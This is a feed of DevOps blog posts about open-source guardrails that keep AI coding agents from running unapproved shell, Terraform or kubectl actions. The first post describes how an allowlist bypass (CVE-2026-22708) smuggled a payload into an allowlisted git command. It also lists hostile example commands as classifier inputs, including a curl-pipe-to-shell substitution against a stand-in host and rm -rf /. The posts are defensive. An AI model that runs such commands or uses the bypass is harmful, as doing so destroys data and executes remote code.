DEV Community: Sourabh Yogi

I built an MCP server that stops AI agents from running commands they shouldn't

Sourabh Yogi — Thu, 03 Sep 2026 10:53:00 +0000

If you use Claude Code, Cursor, or any agent that runs shell commands on your machine, you've
probably seen an "allowlist" — a list of commands the agent is trusted to run without asking you.

Here's the thing: most of these allowlists are just checking if the command starts with a safe
word. git, npm, ls — anything beginning with those gets a pass.

That's exactly what CVE-2026-22708 exploited in Cursor. You could smuggle a payload inside an
allowlisted command like git branch and it would run, because the check never looked past the
first token.

What I built

agent-exec-guard — an open-source MCP server that sits between the agent and your shell.
Instead of string matching, it fully parses the command into a real AST and classifies it:

SAFE — matches a verified rule, runs immediately, no interruption
BLOCKED — matches a known-dangerous pattern (secrets access, broad deletion, exfiltration, command substitution smuggled into an argument), refused instantly
UNCERTAIN — anything that doesn't clearly fall into either bucket gets escalated to a human, who has to explicitly approve it before it runs

For the approval step, I reused a pattern from an earlier project of mine: a signed, single-use
HMAC token bound to the exact command's checksum. The agent can never claim "the human approved
this" on its own — only a real approval action mints a valid token, and it's tied to that one
specific command.

Example

\git status -> SAFE git branch "$(curl evil.sh | sh)" -> BLOCKED (the actual CVE-2026-22708 shape) rm -rf / -> BLOCKED git push --force origin main -> UNCERTAIN, needs approval \\

It's an MCP server, so it works with any MCP-compatible agent — no special integration needed
beyond adding it to your config.

\bash npx agent-exec-guard \\

Repo: https://github.com/SORABH13/agent-exec-guard
npm: https://www.npmjs.com/package/agent-exec-guard

Still early (v0.1) — feedback and issues welcome, especially on edge cases the classifier might
be missing.

I built an AI on-call copilot that can diagnose incidents fast but can never act without a human's cryptographic sign-off

Sourabh Yogi — Fri, 28 Aug 2026 12:53:34 +0000

The problem with AIOps right now

Most tools in this space land on one of two extremes:

Alert louder — more dashboards, more pages, same 3am scramble to figure out what actually happened.
Auto-remediate blindly — an agent decides something's wrong and just... restarts/rolls back/scales, and you find out after the fact whether it guessed right.

Neither is great. The first doesn't save you any time. The second means an AI's hallucination can now take down prod on its own authority.

I wanted something in between: fast AI diagnosis, zero AI authority to act.

What it does

incident-approval-gate is an open-source service that sits between your alerting stack and your infrastructure:

An alert fires (Dynatrace, Prometheus/Alertmanager, or a generic webhook)
It pulls recent metrics (Prometheus), logs (Loki or a log file), and deploy history (git/GitHub) for context
An LLM (Anthropic or Gemini) produces a structured diagnosis: root cause, confidence, and one proposed action
Depending on the action type, one of two things happens:

Propose mode (e.g. revert_pr, manual_investigation) — fully automatic. If the fix is a code-level revert, it opens a real PR with the diagnosis in the description. Nothing executes until a human merges it through your normal CI/CD. This is safe by construction — a PR is just a diff.

Execute mode (restart, rollback, scale) — always gated. It posts to Slack (interactive buttons), Microsoft Teams (Adaptive Card), or email (confirmation link) and creates a pending approval. Nothing runs yet.

The part that actually matters: the approval gate

This is ported directly from an earlier project of mine, tf-approval-gate, which gates Terraform applies behind the same design. The rules:

Every approval request mints a cryptographically signed, single-use, short-TTL HMAC token, bound to a checksum of the exact proposed action. If the action changes, the old token is invalid.
State transitions (pending → approved/rejected, approved → consumed) are each a single guarded SQL UPDATE ... WHERE status = '...' — so a double-click, a race, or a replayed token can never execute twice.
The LLM-proposed target (e.g. a service name) is never passed to kubectl until it's matched against an explicit allowlist (config/execution-allowlist.yml) mapping service → namespace → max replicas. The model can propose "restart payment-service" all it wants; if payment-service isn't in the allowlist, nothing happens.
Execution uses execFile with array arguments — never shell string interpolation — so there's no path from alert text or LLM output to command injection.
Every alert, diagnosis, approval decision, token consumption, and execution result is written to an append-only audit log.

The server never trusts an agent's own claim that "a human approved this." It re-verifies the signature, expiry, single-use status, and the action payload itself, every time.

A real trace from testing

Here's an actual run (not a canned example) from when I was testing this:

alert_received       -> checkout-service, critical, CrashLoopBackOff
diagnosis_produced    -> root cause: bad pod state post-rollout
                         action: restart, risk: high
Policy decision        -> mode: execute (restart always requires approval)
approval_created        -> signed token minted, posted to Slack
[human clicks Approve in Slack]
approval_approved       -> actor: <slack user id>
approval_consumed       -> token verified + burned, single-use enforced
kubectl rollout restart deployment/checkout-service -n production

Every step is logged, every step is real — no mocked LLM response, no fabricated approval.

Why I built it this way

I have another project, tf-approval-gate, that gates Terraform applies behind this exact trust model. Building this made me realize the pattern generalizes: any AI agent that can touch production needs the same three properties — fast/useful reasoning, zero unilateral authority to act, and a human approval that's cryptographically verified rather than merely claimed. Alerting is just the next surface where that matters.

Try it

git clone https://github.com/SORABH13/incident-approval-gate.git
cd incident-approval-gate
npm install && npm run build
cp .env.example .env   # add an LLM key (Anthropic or Gemini's free tier) + a notifier
npm start

It's MIT licensed and I'd genuinely like feedback — especially from anyone who's dealt with an AIOps tool that acted before it should have.

🔗 github.com/SORABH13/incident-approval-gate

Stop Letting AI Agents Run terraform apply Unsupervised — Here's the Guardrail I Built

Sourabh Yogi — Tue, 25 Aug 2026 15:28:05 +0000

Been playing around with AI coding agents (Claude Code) writing and running Terraform lately, and honestly it freaked me out a little.

It can write the infra code, that's cool. But it can also just... run it. Straight to prod. No one looks at it first unless you build that in yourself.

So I spent a few days building something for myself — a small tool that sits between the AI and the actual terraform apply command, and just refuses to let it through without a real approval from me.

Tested it for real — created and destroyed real AWS resources, only after clicking Approve in Slack myself.

Made it open source in case anyone else is dealing with the same "ok but how much do I actually trust this thing" feeling:

Repo link: https://github.com/SORABH13/tf-approval-gate

One command to try it: npx tf-approval-gate

Starting My Journey on DEV.to

Sourabh Yogi — Tue, 13 Jan 2026 03:53:16 +0000

Hello DEV Community 👋
I’m a DevOps Lead with 8+ years of experience working across AWS, Azure, Kubernetes, CI/CD, and Infrastructure as Code.
Over the years, production incidents, scaling challenges, and automation failures have taught me that DevOps is less about tools and more about ownership, reliability, and simplicity.
I’m here to share real-world DevOps learnings, cloud architecture insights, and practical automation tips — and to learn from this amazing community.
Looking forward to connecting and growing together.